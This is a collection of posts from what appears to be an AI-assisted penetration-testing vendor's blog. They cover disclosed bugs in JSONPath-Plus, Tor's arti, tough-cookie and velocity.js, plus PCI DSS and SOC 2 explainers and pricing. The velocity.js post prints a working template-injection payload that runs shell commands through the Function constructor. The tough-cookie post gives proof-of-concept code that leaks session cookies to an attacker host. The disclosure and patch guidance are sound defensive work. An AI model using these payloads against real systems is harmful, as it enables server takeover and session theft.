JSONPath-Plus is a widely used implementation of JSONPath, the query language for JSON, at roughly 12.4 million downloads a week. Some expressions need to evaluate JavaScript-like sub-expressions, and for that the library ships a guarded evaluator that is supposed to allow the useful parts of expression evaluation while denying the dangerous ones.

The dangerous one, always, is the Function constructor. In JavaScript, Function("...body...") compiles a string into a callable with access to the global scope. Any sandbox that lets an attacker reach Function is not a sandbox. So the library kept a denylist of blocked properties that included constructor, and checked for the Function constructor before calling a resolved function.

The check existed, in one place

The call-expression handler did the right thing. As the fixed code shows, it knew Function was the thing to stop:

if (func === Function) { // unreachable since BLOCKED_PROTO_PROPERTIES includes ‘constructor’

The comment even asserts the case is unreachable. It was not, because the guard lived on the calling path, not on the path that produced the value.

The escape: a property read that returns Function

Here is the gap. When the evaluator resolved a member expression, it returned any value that happened to be a function, and bound it, with no check for which function:

// vulnerable: returns ANY function, including Function itself
if (typeof result === 'function') {
  return result.bind(obj);
}

From a property read to a shell

Reading obj.constructor resolves to Function. The member-expression handler saw a function and handed it back. Now the attacker holds a reference to the Function constructor through a path the call-expression guard never saw, and the “unreachable” branch was reachable after all. From that reference, Function(payload)() is arbitrary code execution.

This is the same primitive we found in a different library: reaching the Function constructor through a property read that a write-path guard did not cover. Two libraries, same class of bug, and it is worth internalizing why.

The fix is one clause

The patch states the missing invariant directly: return the function only when it is not the Function constructor.

// before
if (typeof result === 'function') {
  return result.bind(obj);
}

// after: never hand back Function itself
if (typeof result === 'function' && result !== Function) {
  return result.bind(obj);
}

Merged in PR #266 with new tests, moving the suite from 278 to 280 cases. The one-clause shape is typical of these bugs: the logic was almost right, and the gap was a value that one path checked and another did not.

The same escape hatch, patched three times

The most useful part of this finding is the history, because it shows how a sandbox erodes. JSONPath-Plus has closed a route to the Function constructor more than once.

Stage	What it was
CVE-2024-21534	the original eval RCE
CVE-2025-1302	an incomplete fix, RCE again, patched in 10.3.0, rated 9.8
PR #266	the member-expression path still returned `Function`

CVE-2025-1302 was rated 9.8 on the CVSS scale and described by its advisory as caused by an incomplete fix for the one before it. Our finding is the next in that line: not the same bug, the same escape hatch through a door the previous fixes did not close.

How we disclosed it

Through GitHub, on the project’s own terms. We reported the escape and wrote the fix in a pull request, which is public and credited to Ryan Cruz, merged by the maintainer on July 2, 2026. Coordinated disclosure on open source is straightforward: propose the fix, let the maintainer review and merge, and the credit trail is on the record. That record is the point.

The pattern to take away

A denylist that blocks a dangerous value in one code path but not in every code path is not a fix. It is a smaller target. The Function constructor was blocked where functions were called and not where functions were read, and the sandbox held right up until someone read instead of called. Finding that kind of gap is a reading problem, which is what a real penetration test does that a scanner, matching patterns, does not.

What a library RCE says about testing

We publish findings like this, and the critical RCE in velocity.js, CVE-2026-73649, alongside it, because depth is the one thing a security vendor cannot fake. Anyone can say their testing is deep. A fixed, credited RCE in a library with millions of weekly installs is a claim you can click on. That same white-box reading, pointed at your application every month, is what our subscription buys, and our benchmark runs are public for the parts a disclosure cannot show.

Hackers stay in the loop

None of this is the model alone. AI surfaces the suspicious property walk; a human confirms it reaches Function, writes the working proof, and files the pull request the maintainer can review and merge. That division of labor is the whole point: coverage no human team can afford monthly, plus a person who verifies the finding is real before it goes anywhere.

The pricing is public too: $299 a month under 10 people, $499 at 10 or more, against the $5,000 to $30,000 a single traditional test costs. Both include a pentest every month, unlimited if you bring your own Anthropic key, and a human-validated engagement is $2,999 per engagement on top. A year of continuous testing plus an independent SOC 2 attestation paid straight to the CPA lands near $6,088 under 10 people and $8,488 above, versus the $30,000-plus a three-vendor stack runs.

The short version

We reported and fixed a Function-constructor escape in JSONPath-Plus, a library pulled about 12 million times a week.
The safe eval blocked Function on the call path but not the member path, so obj.constructor returned Function and gave RCE.
The fix, in PR #266 credited to Ryan Cruz, returns a function only when it is not Function.
It is the newest link in the library’s safe-eval chain, after CVE-2024-21534 and CVE-2025-1302.
Public, credited findings are the check you can run on any tester’s claim of depth. Ours is a subscription, and the engine points at your stack every month.

PCI DSS penetration testing requirements: 11.4 explained

cuau@hackzero.ai (Cuauhtli Padilla) — Tue, 04 Aug 2026 00:00:00 GMT

What does PCI DSS require for penetration testing?

Unlike SOC 2 or ISO 27001, PCI DSS flatly requires a penetration test. Requirement 11.4 mandates internal and external tests every 12 months and after significant changes, a retest to verify fixes, and segmentation tests every 6 months for service providers. What it does not require is a QSA, an ASV, or an outside firm.

On this page: what 11.4 says · the mandatory retest · who may test · service providers · scans are separate · what it costs · why teams fail it

What Requirement 11.4 actually says

Most pages about PCI penetration testing paraphrase a paraphrase. The requirement itself is short and unambiguous, and you can download the standard from the PCI SSC document library to read it in full. Here is the structure:

Requirement	What it obliges	Cadence
11.4.1	a defined, documented penetration testing methodology using industry-accepted approaches	maintained
11.4.2	internal penetration testing per that methodology	every 12 months + after significant change
11.4.3	external penetration testing per that methodology	every 12 months + after significant change
11.4.4	exploitable findings corrected, and testing repeated to verify	after every remediation
11.4.5	segmentation controls tested, if segmentation isolates the CDE	every 12 months
11.4.6	the same segmentation testing, for service providers	every 6 months
11.4.7	multi-tenant providers support customers’ external testing	on request

Two things in that table surprise people. The cadence is not simply annual: “after any significant infrastructure or application upgrade or change” means a re-architecture in March obliges a test in March, not next January. And 11.4.4 makes the retest part of the requirement, not an upsell.

What counts as a significant change

The standard leaves this to you, which teams read as permission to ignore it. Your QSA will not. In practice, treat a new external service, a change to authentication or authorization, a move between cloud accounts or regions, a new component inside the cardholder data environment, or a change to segmentation as significant, and write that definition into the 11.4.1 methodology document before an assessor writes it for you. Deciding after the fact looks like a decision made to avoid a test.

The retest is mandatory, and usually unpriced

Requirement 11.4.4 is the clause that quietly doubles engagements. CompliancePoint, a QSA, quotes it as:

Exploitable vulnerabilities and security weaknesses found during penetration testing are corrected as follows…

with corrections risk-ranked through your Requirement 6.3.1 process, and testing repeated to verify them. Schellman, another QSA, is blunt about what that means in practice: after fixing, “you’ll of course need to have another pen test performed, also called a retest.” A remediation with no documented retest does not satisfy 11.4.4.

Most firms bill that retest separately at 10 to 25 percent of the original fee, so the honest annual number is higher than the quote you were given. The full cost breakdown is here. Continuous testing sidesteps the issue structurally: if the test never stops, the fix gets re-attacked as a matter of course rather than as a change order.

Who is actually allowed to test

This is where most vendor content overstates the requirement, and where a QSA-literate CTO will catch you.

PCI DSS asks for a tester who is “qualified by experience or training” and who has organizational independence from the systems being tested. It does not ask for a certification. The parenthetical:

(not required to be a QSA or ASV)

appears repeatedly through Requirement 11.4 and the SAQs. Testing may be performed by a qualified internal resource or a qualified external third party. PCI is not unusual here: only three frameworks actually require an outside tester, and PCI is not one of them.

Why independence still pushes the test outside

Organizational independence is the real constraint, and it is stricter than it sounds: the tester cannot assess systems they build, run, or maintain. At seed and Series A, with one platform team, there is no internal resource who clears that bar, so the test goes outside for structural reasons rather than regulatory ones. That is a more honest argument than claiming PCI demands a third party, and it survives contact with someone who has read the standard.

What your QSA will actually read

The methodology document from 11.4.1, and the evidence. Reviewers look for scope coverage of the whole cardholder data environment perimeter, testing from inside and outside, application-layer and network-layer work, findings that are validated as genuinely exploitable, and the retest. That is the same bar described in our methodology pages, and it is why an unvalidated scanner dump fails review no matter who ran it.

Service providers owe roughly double

If you sell software that sits inside someone else’s cardholder data environment, three things change:

11.4.6 puts segmentation testing on a 6-month clock instead of the annual cadence merchants get.
11.4.7 obliges multi-tenant providers to support their customers’ external testing. You inherit an obligation to enable testing you do not control or schedule.
Level 1 starts at 300,000 transactions a year, roughly 822 a day, counted across all your customers combined rather than per customer. A Series A fintech crosses into full QSA-assessed territory earlier than founders expect.

Counted honestly, a segmented service provider owes at least four penetration tests a year (internal, external, and two segmentation tests), plus every retest, plus four quarterly ASV scans.

ASV scans are a different obligation

Requirement 11.3.2 requires external vulnerability scans every 90 days by a PCI SSC Approved Scanning Vendor, and unlike almost everything else in v4.x it cannot be met through the customized approach. This is the one place PCI truly does mandate a certified outside party.

It is also the most common confusion in the market: a passing quarterly ASV scan is not evidence for 11.4. Scans enumerate known vulnerabilities; a penetration test exploits them and chains them. The difference in what each one finds is the whole reason the standard has both, and the customized approach objective for 11.4.1 is framed around resisting a competent manual attacker rather than a tool.

What this costs in practice

For a typical segmented environment, budget $8,000 to $30,000 a year across the internal test, the external test, segmentation testing, and retests, with ASV scanning billed separately. Our own numbers are public and the full market bands are here:

Who	Price	What it covers
Fewer than 10 people (headcount, self-attested: no funding, stage, or age test)	$299 a month	continuous testing on one product, plus SOC 2 controls
10 people or more	$499 a month	the same
Human-validated pentest	$2,999 per engagement	hackers confirm exploitability and write the report, on top of either plan, for when 11.4 wants a human on the record

Where the money actually goes

The cost driver you actually control is scope. Every system that can affect the security of the cardholder data environment is in scope, so segmenting aggressively and keeping card data out of your own systems shrinks the testable surface and the bill with it. That work pays for itself in the first assessment.

Why this is the requirement teams fail

Requirement 11 has been the worst-performing requirement in PCI for years. Reporting on Verizon’s Payment Security Report, SecurityWeek summarised it plainly:

Requirement 11 continues to lag at the back of the pack when it comes to full compliance

with the widest control gap of any requirement. The same body of research produced the line worth keeping in mind before treating this as paperwork:

At the time of a breach, no organization was compliant across all 12 PCI DSS requirements.

The pattern behind the failures is consistent: teams test once a year, re-architect in month four, and never test again, which fails the significant-change clause. Or they remediate and never document a retest, which fails 11.4.4. Both are cadence problems, not capability problems, which is the argument for testing continuously rather than annually. It is also why we publish our benchmark results rather than asking anyone to take the cadence claim on faith.

The short version

PCI DSS genuinely requires penetration testing, unlike SOC 2: internal and external, every 12 months and after significant change.
The tester needs organizational independence and competence, not a QSA or ASV badge.
The retest in 11.4.4 is mandatory. Check whether it is in your quote.
Service providers owe segmentation tests every 6 months and must support their customers’ testing.
Quarterly ASV scanning under 11.3.2 is a separate obligation and does need a certified vendor.
Budget $8,000 to $30,000 a year for a segmented environment, or start from $299 a month on continuous testing.

Other frameworks phrase the obligation very differently. ISO 27001 never names penetration testing at all, and the two controls that make it necessary anyway are worth reading if you are scoping for more than PCI.

A disabled key-size check in Tor's arti: the !x == y bug we reported

ryan@hackzero.ai (Ryan Cruz) — Tue, 04 Aug 2026 00:00:00 GMT

A disabled key-size check we found in Tor’s arti

We reported a security-check bug in Tor’s arti: a misplaced ! disabled an RSA key-size check, so any key size passed a test meant to allow only 1024-bit keys. Tor rated it low severity and fixed it in merge request !4231. It is a clean Rust operator-precedence trap that slipped past the compiler, the tests, and clippy.

On this page: the bug · what the function does · what rust compiled · the honest impact · the fix · why tools missed it · disclosure

The bug in one sentence

create_legacy_rsa_id_cert in crates/tor-cert-x509/src/lib.rs is meant to reject RSA identity keys that are not 1024 bits, as the Tor channel spec requires. The check was written if !public.bits() == EXPECT_ID_BITS, which Rust parses as if (!public.bits()) == EXPECT_ID_BITS, so it is effectively always false and the rejection never happens.

Field	Value
Project	Tor `arti` (`tor-cert-x509` crate)
Class	Operator-precedence bug disabling a key-size check
Severity	Low (Tor’s assessment); `arti` binary unaffected
Advisory	No TROVE, no RustSec (Tor’s decision)
Fix	Merge request !4231, one-character change plus tests
Reported	Privately to security@torproject.org, June 30, 2026

What the function was supposed to do

The Tor channel spec is specific about the legacy identity certificate. In the words of the spec, quoted in the report:

Tor channel spec requires RSA_ID_X509 to contain a self-signed certificate with a 1024-bit RSA key and exponent 65537

So create_legacy_rsa_id_cert, which builds that certificate from local relay identity key material, is documented to return an error unless the keypair is a 1024-bit RSA key with exponent 65537. The size guard is the line that enforces the “1024-bit” half of that contract.

The constant was right, the operator was not

EXPECT_ID_BITS is 1024. The intent of if !public.bits() == EXPECT_ID_BITS reads, in English, as “if the key is not 1024 bits, reject it.” That is a reasonable sentence and a completely wrong expression, because Rust does not group it the way the English does.

What Rust actually compiled

Here is the trap. In Rust, ! is logical negation only when its operand is a bool. Applied to an integer, ! is the bitwise-complement operator. public.bits() returns an unsigned integer, so !public.bits() does not mean “not the size,” it means “flip every bit of the size.”

And ! binds tighter than ==, so:

// written
if !public.bits() == EXPECT_ID_BITS { /* reject */ }

// parsed by Rust
if (!public.bits()) == EXPECT_ID_BITS { /* reject */ }

For a 1024-bit key, !1024 as an unsigned integer is an enormous number (every bit above the low ones set), nowhere near 1024, so the comparison is false and the key is accepted. For a 2048-bit key, !2048 is also nowhere near 1024, so that comparison is false too, and the key is accepted again. The rejection branch is dead code for every realistic key size.

The two behaviors, side by side

Key	Intended (`!(bits == 1024)`)	Compiled (`(!bits) == 1024`)
1024-bit	accept	accept (by luck)
2048-bit	reject	accept (the bug)

The 1024-bit case is right by accident, which is exactly why nobody noticed: the default path behaves correctly, so the check looks like it works.

The honest impact: low severity

This is where we stay accurate, because inflating a Tor finding is the fastest way to lose a technical reader. This is not a remote certificate-validation bypass. The affected function generates a local certificate from local identity key material, and Tor’s maintainers scoped it tightly. As the maintainer wrote on the issue:

I’d say that this is a low-severity issue as it’s not used by any Arti artifacts (such as the arti binary), and is unlikely to be used by users of the tor-cert/tor-cert-x509 crates since the function is bespoke.

Default operation is unaffected because normal arti RSA identity key generation is hardcoded to 1024 bits in crates/tor-llcrypto/src/pk/rsa.rs. The real risk is narrow: an imported or externally provisioned relay identity key with a non-1024-bit modulus would be accepted and used to generate a certificate that violates the channel spec. Tor confirmed the bug, briefly labelled it a blocker, then settled on low severity and decided not to issue a TROVE. We report it the same way.

The fix is one character

The correct expression states the comparison directly instead of negating a value:

// before: precedence makes this always false
if !public.bits() == EXPECT_ID_BITS { /* reject */ }

// after: reject when the size is not the expected size
if public.bits() != EXPECT_ID_BITS { /* reject */ }

Merged in merge request !4231, with the regression tests the original had been missing: a 1024-bit key is accepted, and a 2048-bit key is rejected with InvalidSigningKey("Invalid key length"). The tracking issue has the full discussion.

Why the compiler, tests, and clippy all missed it

Nothing here is exotic, which is the point. The expression is valid Rust: !bits() is a legal integer, and comparing an integer to a constant is legal, so the compiler has nothing to warn about. The test suite passed because no test fed the function a wrong-sized key. And cargo clippy -p tor-cert-x509 -- -D warnings passed without flagging the precedence.

The pattern worth grepping for

A Tor maintainer flagged the general shape as worth hunting across the codebase:

We should search our code for other places where we might be doing ‘if !x == y’.

That is the whole lesson. Code that compiles clean, passes its tests, and survives a strict linter can still do the opposite of what it says, when the gap is between programmer intent and operator precedence. Finding that gap is a reading problem, not a tooling problem, which is what a real penetration test does that a scanner does not.

How we disclosed it

We reported this privately to Tor’s security team on June 30, 2026. Tor’s public tracker keeps external reporters out of the issue by policy: the report notes the title was “intentionally neutered so that a semblance of email confidentiality could happen,” and the public issue is filed under the Tor security contact who triaged it. Coordinated disclosure means the fix ships before the detail is public, which is exactly what happened here.

What this has to do with buying a pentest

The reason we publish findings like this, and the critical remote code execution in velocity.js, CVE-2026-73649, before it, is that depth is the one thing a security vendor cannot fake. Anyone can claim their testing reads code carefully. A fixed bug in the Tor codebase, credited through the Tor security team, is a claim you can check. That same white-box reading, pointed at your application every month, is what our subscription buys, and our benchmark runs are public for the parts a disclosure cannot show.

A year of continuous testing plus an independent SOC 2 attestation paid straight to the CPA lands near $6,088 under 10 people and $8,488 above, versus the $30,000-plus a three-vendor stack runs.

The short version

We reported a bug in Tor’s arti where if !public.bits() == EXPECT_ID_BITS disabled an RSA key-size check.
Rust reads ! as bitwise complement on an integer and binds it tighter than ==, so the rejection branch was dead code.
Impact is low by Tor’s own assessment: the arti binary is unaffected, and default key generation is 1024-bit regardless. No TROVE was issued.
The fix is if public.bits() != EXPECT_ID_BITS, merged in !4231 with regression tests.
Public, credited findings are the check you can run on any tester’s claim of depth. Ours is a subscription, and the engine points at your stack every month.

A cookie-leak bug we reported in tough-cookie (half a billion downloads a month)

ryan@hackzero.ai (Ryan Cruz) — Tue, 04 Aug 2026 00:00:00 GMT

We reported a cookie-leak bug in tough-cookie, a library pulled about half a billion times a month: a URL-parsing quirk let cookies scoped to victim.com leak to an attacker’s host. We scored it 7.6 (High). The maintainers shipped our exact one-line fix in v6.0.2 the day after they acknowledged our report.

On this page: the bug · the root cause · proof of concept · who is affected · the fix · the disclosure timeline · what it says about testing

The bug in one sentence

tough-cookie decoded the URL before parsing it, so a crafted URL that a normal parser reads as pointing to the attacker was read by tough-cookie as pointing to the victim. The cookie jar then handed the victim’s cookies to a request bound for the attacker’s server.

Field	Value
Package	tough-cookie (npm)
Reach	495 million downloads a month (npm, August 2026)
Affected	2.5.0 through 6.0.1 (the decodeURI call has been there since 2.5.0)
Fixed	6.0.2 (PR #614, released July 7, 2026)
Severity	High, our CVSS score 7.6 (no CVE assigned)
Class	URL-parsing differential leading to cookie disclosure

The root cause: decodeURI and a backslash

tough-cookie is the cookie jar behind a huge slice of the JavaScript ecosystem. It is downloaded around half a billion times a month and rides inside request, got, and axios cookie jars, plus a long tail of OAuth and scraping libraries. Its job is to decide which stored cookies belong on an outgoing request, which makes correct host parsing a security boundary, not a nicety.

The jar resolved the request URL with a decode step before parsing:

// tough-cookie, before the fix
return new URL(decodeURI(url))

Why the escape matters

decodeURI turns the percent-escape %5C into a backslash. And per the WHATWG URL standard, a backslash is treated like a forward slash inside a special-scheme URL such as https. That single substitution moves the boundary between the userinfo (the part before the @) and the host.

The two hostnames

Take the crafted URL https://victim.com%5C@evil.com/:

A normal new URL(url) reads the host as evil.com. That is where the bytes actually go.
tough-cookie, after decodeURI, read the host as victim.com, and attached that domain’s cookies.

The request goes to the attacker; the victim’s cookies go with it.

Proof of concept

Both directions reproduce against tough-cookie 6.0.1 from npm.

const { CookieJar } = require('tough-cookie')
const jar = new CookieJar()

// victim's session cookie
await jar.setCookie('session=SECRET; HttpOnly; Path=/', 'https://victim.com/')

const crafted = 'https://victim.com%5C@evil.com/'

// tough-cookie attaches the victim's cookie to the crafted URL
console.log(await jar.getCookieString(crafted)) // "session=SECRET"
console.log(new URL(crafted).hostname)          // "evil.com"  <- where it really goes

The same differential works backwards. An attacker who can set a cookie on the crafted URL plants it under victim.com:

await jar.setCookie('session=ATTACKER; Path=/', crafted)
console.log(await jar.getCookieString('https://victim.com/')) // "session=ATTACKER"

Now the attacker’s session rides to the victim’s domain, the classic setup for cookie fixation.

Direction	What the attacker gets
Leak	the victim’s real session cookie, exfiltrated to the attacker host
Fixation	the attacker’s cookie planted on the victim’s domain

Who is affected

Any application using tough-cookie’s CookieJar where an attacker can influence a URL. That surface is larger than it sounds: it opens up whenever you follow HTTP redirects, whenever a URL is user-controlled, and in many SSRF situations. Because tough-cookie is a transitive dependency of so many HTTP clients, plenty of teams are exposed without ever having typed its name.

The fix is one line

Remove the decode step and parse the URL as received:

// after the fix
return new URL(url)

That is exactly what shipped. The maintainer’s pull request describes it plainly:

Decoding the URL can result in incorrect parsing in some cases.

and the change is titled, in the release:

avoid decoding URL authority part

Upgrade to tough-cookie 6.0.2 or later. The whole fix is deleting a function call, which is the tell of a good bug: the security boundary was one transformation away from correct.

The disclosure timeline

We like this finding as a clean provenance story, so here is the record, all of it verifiable on GitHub.

We reported the bug through Tidelift’s coordinated-disclosure process on July 4, 2026, with the root cause, the both-directions proof of concept above, and the one-line fix already identified. It was acknowledged on July 6. Later that same day the maintainers committed the fix (82de17df), opened PR #614, and released it as v6.0.2 the next day. The fix landed the day after the acknowledgment, roughly forty-seven hours after our report.

One detail we appreciated: the regression tests added in the fix use the same %5C@ payload pattern as our proof of concept, so both sides were clearly looking at the same bug. The fast turnaround protected users quickly, which is what matters most, and the maintainers deserve credit for moving.

The thread, redacted

Here is the correspondence itself. We have blacked out the other party’s name and address, and our own personal address, because the point is the process, not any individual. Nothing else is altered.

Our report, July 4, 6:12 PM, sent to the coordinated-disclosure address, with the root cause, the both-directions proof of concept, and the one-line fix:

The reply chain: the acknowledgment, our answer, and the follow-up we sent a month after the patch shipped asking for acceptance, a CVE, credit, and an advisory ETA:

The acknowledgment, July 6, 8:46 AM:

Thank you for the report, we’ll investigate according to the process described at [security process] and let you know the outcome. If the maintainers wish to include you directly, are you okay to be cc’d with them?

Our reply, the same morning:

Yes, that’s fine. Feel free to CC me in discussions with the maintainers.

We were never cc’d. The fix was committed later that same day, and released the next. On August 4, a month after the patch shipped, we wrote back asking to close out four things: whether the report was formally accepted, whether a CVE would be assigned, credit, and an ETA for a public advisory.

Credit: given the chain above (report, then acknowledgment, then fix), I’d like to be listed as the finder in the advisory.

and, plainly:

Getting acknowledgement is a great motivator for researchers like me, its very sad to see it being fixed with no acknowledgement!

That request is still open at the time of publishing.

Credit is still pending, and it matters

As of publication the public fix carries no credit line and no CVE has been assigned. We have asked, through the same process, to be listed as the finder in the advisory, and that request is still open. This is not a complaint about one project: they moved fast, and that is good. It is a general point worth repeating, because it is easy to drop under deadline. Coordinated disclosure runs on credit. Reporting a serious bug privately, for free, with a fix attached is the responsible choice, and a line in the advisory is most of what the researcher gets back for it. Crediting the people who hand you a fix costs nothing and keeps the next researcher reporting.

What this says about our testing

We publish findings like this, alongside the critical velocity.js RCE, CVE-2026-73649, and the JSONPath-Plus RCE (both publicly credited to Ryan Cruz), because depth is the one thing a security vendor cannot fake. This class of bug, a parsing differential between two libraries that both believe they are correct, is exactly what a scanner misses and a human reading intent against behavior catches.

Hackers stay in the loop

AI does the coverage no human team can afford monthly; a human confirms the finding reaches a real security boundary, writes the working proof, and files the disclosure. That white-box reading, pointed at your app every month, is what our subscription buys, and the benchmark runs are public. The pricing is public too: $299 a month under 10 people, $499 at 10 or more, against the $5,000 to $30,000 a single traditional test costs. Both include a pentest every month, unlimited if you bring your own Anthropic key, and a human-validated engagement is $2,999 per engagement on top. A year of continuous testing plus an independent SOC 2 attestation paid straight to the CPA lands near $6,088 under 10 people and $8,488 above.

The short version

We reported a cookie-leak bug in tough-cookie (half a billion downloads a month), scored 7.6, fixed in 6.0.2.
Root cause: decodeURI turned %5C into a backslash, the URL parser read it as a slash, and the host boundary moved from evil.com to victim.com.
Result: victim cookies leak to attacker hosts, and attacker cookies can be fixated onto victim domains.
Fix: delete the decodeURI call. Upgrade to 6.0.2.
It was fixed the day after we were acknowledged; credit in the advisory and a CVE are still pending. Credit the researchers who report responsibly. See our other findings and how our testing works.

CVE-2026-73649: a critical RCE in velocity.js we reported (CVSS 9.8)

ryan@hackzero.ai (Ryan Cruz) — Tue, 04 Aug 2026 00:00:00 GMT

CVE-2026-73649: a critical RCE we found in velocity.js

We reported a critical remote code execution bug in velocity.js, CVSS 9.8, now tracked as CVE-2026-73649, fixed in 2.1.7. A template can read $x.constructor.constructor to reach JavaScript’s Function constructor and run shell commands on the server. The earlier patch blocked the write path; the read path stayed open. velocityjs ships 2.8 million downloads a month.

Updated August 13, 2026: GitHub, the CNA here, assigned CVE-2026-73649 and published the record to the CVE List.

On this page: the bug · what velocity.js is · the exploit chain · why the last patch missed it · am i affected · where the cve is tracked · what this has to do with pentests

The bug in one sentence

velocity.js evaluated property-read expressions inside a template without filtering dangerous keys, so constructor walked from an empty object all the way to Function, and Function(body)() executed attacker-chosen code. The advisory rates it 9.8 on the CVSS v3.1 scale, one of the few scores reserved for unauthenticated, network-reachable, full-compromise bugs.

Field	Value
CVE	CVE-2026-73649
Advisory	GHSA-7gfh-x38p-prh3
Severity	Critical, CVSS 9.8
Vector	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness	CWE-94, code injection
Affected	velocityjs 2.1.6 and earlier
Patched	2.1.7 (July 19, 2026)
Class	Remote code execution via property read
Reported by	cruzryan

Background: a template engine that runs expressions

velocity.js is a JavaScript port of Apache Velocity, a template language. You give it a template string and a context object, and it substitutes values. It is a real dependency, not a toy: the velocityjs package on npm records around 700,000 downloads a week, inside tools that render mail, documents, and dashboards.

Template engines are a classic server-side template injection target, because a template is code, not data. The moment attacker input reaches the template source rather than the context, the attacker is writing expressions the engine will evaluate, and the only question left is how far one of them can reach.

The prior fix set the stage

In May 2026, velocity.js patched a separate issue, GHSA-j658-c2gf-x6pq (CVE-2026-44966, CVSS 8.3), a prototype-pollution bug in #set path assignment. That fix taught the engine to reject dangerous keys like __proto__, constructor, and prototype when they appeared as the target of an assignment. It was the right fix for the write path. It did nothing for reads.

The exploit chain, step by step

The chain is short, which is what makes it dangerous. Here is the proof of concept from the advisory, verbatim:

const velocity = require('velocityjs');
const template = "#set($f=$x.constructor.constructor('return process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()'))#set($r=$f())$r";
console.log(velocity.render(template, { x: {} }));

The context passes in the most innocuous value imaginable, an empty object. Everything else is walking properties the engine happily resolves.

Step one: a property read that is never filtered

When velocity evaluates the value expression in that #set, it resolves the reference through getReferences(), which calls getAttributes() to walk each .property in turn. As the advisory puts it:

The property access at line 88-89 has no filtering.

So $x.constructor reads constructor off the empty object and returns Object. No key is blocked: the earlier fix only guarded assignment targets, and this is a read.

Step two: constructor of a constructor is Function

Read .constructor a second time, on Object, and you get JavaScript’s Function constructor, the canonical sandbox-escape primitive: Function('...body...') compiles a string into a callable function with global scope. From there, require('child_process') and execSync are one call away.

Step three: build the function and call it

The first #set stores the compiled function in $f; the second calls it with $f(); $r renders the output. The advisory is blunt about the consequence:

Any application that renders attacker-controlled Velocity templates using velocityjs is vulnerable to full server compromise. The attacker can execute arbitrary shell commands, read environment variables, access cloud credentials, and pivot to internal network resources.

Why the previous patch did not stop it

This is a pattern, not a one-off. The May fix reasoned about where dangerous keys are dangerous and concluded, correctly, that assigning to __proto__ or constructor was a problem. It hardened the write path. But constructor is equally dangerous as a thing you read, because reading it hands you a live reference you can keep walking. Guarding one direction left the door open under a lock that looked closed.

The lesson generalizes past this library: a mitigation that enumerates dangerous operations on a dangerous value usually misses an operation. The durable fix is to treat the value as forbidden in every position.

What the real fix looks like

That is exactly what the maintainer shipped in pull request #192. Instead of adding a second denylist next to the first, it introduces one module, src/compile/prototype-guard.ts, and calls it from both sides: references.ts on the read path (property, index, and method access) and set.ts on the assignment path, which drops its own duplicated checks. One guard, every position, plus tests for inherited constructor exposure. Copy that shape.

Am I affected, and how to fix it

Affected: any service on velocityjs 2.1.6 or earlier that renders a template whose text an attacker can influence, directly or through stored data. Fixed: 2.1.7.

Action	Command or check
Upgrade	`npm install velocityjs@latest`, then confirm 2.1.7 resolved in your lockfile
Find transitive copies	`npm ls velocityjs` to catch an old version pinned by a dependency
Interim, if pinned	never render attacker-controlled template source; pass user input only through the context object

The interim mitigation matters because upgrading a transitive dependency is not always instant. The precondition for the whole chain is that an attacker can write the template text, so if template source is trusted code and user input only ever arrives through the context object, the attacker never gets to write constructor. Upgrade anyway: defense in depth is cheaper than a reachability argument you re-verify on every refactor.

Where CVE-2026-73649 is tracked

One bug gets several identifiers, which is why scanners disagree about whether you are patched. All of these describe the same flaw:

Record	Where to read it	Status
CVE-2026-73649	CVE List record	Published August 13, 2026, CNA GitHub
GHSA-7gfh-x38p-prh3	GitHub Advisory Database	Published July 24, 2026
OSV entry	osv.dev	npm ecosystem, fixed 2.1.7
NVD entry	nvd.nist.gov	ingesting from the CVE List
Fixed release	velocityjs 2.1.7 on npm	July 19, 2026

The disclosure ran the coordinated path: reported privately, patch merged in PR #192 on July 15, release 2.1.7 on July 19, advisory published July 24, CVE issued August 13 after GitHub reviewed the record for CVE-rule compliance. Nothing public until the fix existed. If your scanner keys on the CVE rather than the GHSA, it stayed quiet for three weeks on a 9.8 you were already exposed to, which is the argument for alerting on the advisory database your ecosystem publishes to instead of waiting for NVD enrichment.

What a library RCE has to do with buying a pentest

The hardest thing to verify when you buy security testing is whether the tester can find something a scanner cannot. A vendor can claim depth; a credited, fixed, publicly numbered CVE is proof you can check yourself.

It is also why our price works, the question founders actually ask. When you own the whole testing stack, the attack agents, the exploitation tooling, and the reporting, the marginal cost of a run is compute plus senior review, not tester-weeks.

The full cost breakdown shows the day-rate math the market runs on; ours is public at $299 a month under 10 people and $499 at 10 or more, against the $5,000 to $30,000 a single traditional boutique test costs. Both include a pentest every month, unlimited if you bring your own Anthropic key, and a human-validated engagement is $2,999 per engagement on top.

The same stack that found this velocity.js RCE has also produced a Function-constructor RCE in JSONPath-Plus, a library pulled 12 million times a week, a cookie-leak in tough-cookie (about half a billion downloads a month), a fixed security-check bug in Tor’s arti, and privately confirmed findings in NASA. Its runs on the 104-challenge XBOW benchmark are public.

Hackers stay in the loop

None of this is the AI alone. A model can surface a suspicious property walk; a human confirms it reaches Function, writes the proof of concept, and files the coordinated disclosure. That division of labor, machine coverage no human team can afford monthly plus a hacker validating exploitability, is the model behind our white-box testing and why a finding like this lands as a real report rather than a scanner alert.

Where else this matters

If you handle cardholder data, an exploitable RCE in a rendering path is what PCI DSS 11.4 exists to catch and what a passing quarterly scan misses. The difference between a scan and a test is whether anyone chains the primitive to a shell.

The short version

We reported a critical RCE in velocity.js, CVSS 9.8, now CVE-2026-73649 (GHSA-7gfh-x38p-prh3), fixed in 2.1.7.
A template reads $x.constructor.constructor to reach the Function constructor and run shell commands.
The prior patch guarded assignment (write) keys; the property-read path was still unfiltered.
Affected: velocityjs 2.1.6 and earlier. Fix: upgrade to 2.1.7, or never render attacker-controlled template source.
Public, credited findings like this are the check you can run on any tester’s claim of depth: ours is a subscription, and the engine points at your stack every month.

Does SOC 2 require a penetration test?

cuau@hackzero.ai (Cuauhtli Padilla) — Mon, 03 Aug 2026 00:00:00 GMT

Does SOC 2 require a penetration test?

No. No Trust Services Criterion mandates a penetration test. The term appears only in the AICPA’s non-binding “points of focus.” In practice your auditor will expect a recent test anyway, your enterprise customers will ask for the report itself, and the test must land inside your Type 2 observation window to count as evidence. Here is how that works, with the source text.

On this page: what the AICPA says · why auditors expect one · internal or third party · timing · scans vs pentests · cost · other frameworks

What the AICPA actually says

SOC 2 audits are performed against the Trust Services Criteria (TSC, 2017 with revised 2022 points of focus). The criteria never require penetration testing. The concept enters through two points of focus, which the AICPA describes as illustrative guidance, not requirements.

CC4.1: separate evaluations

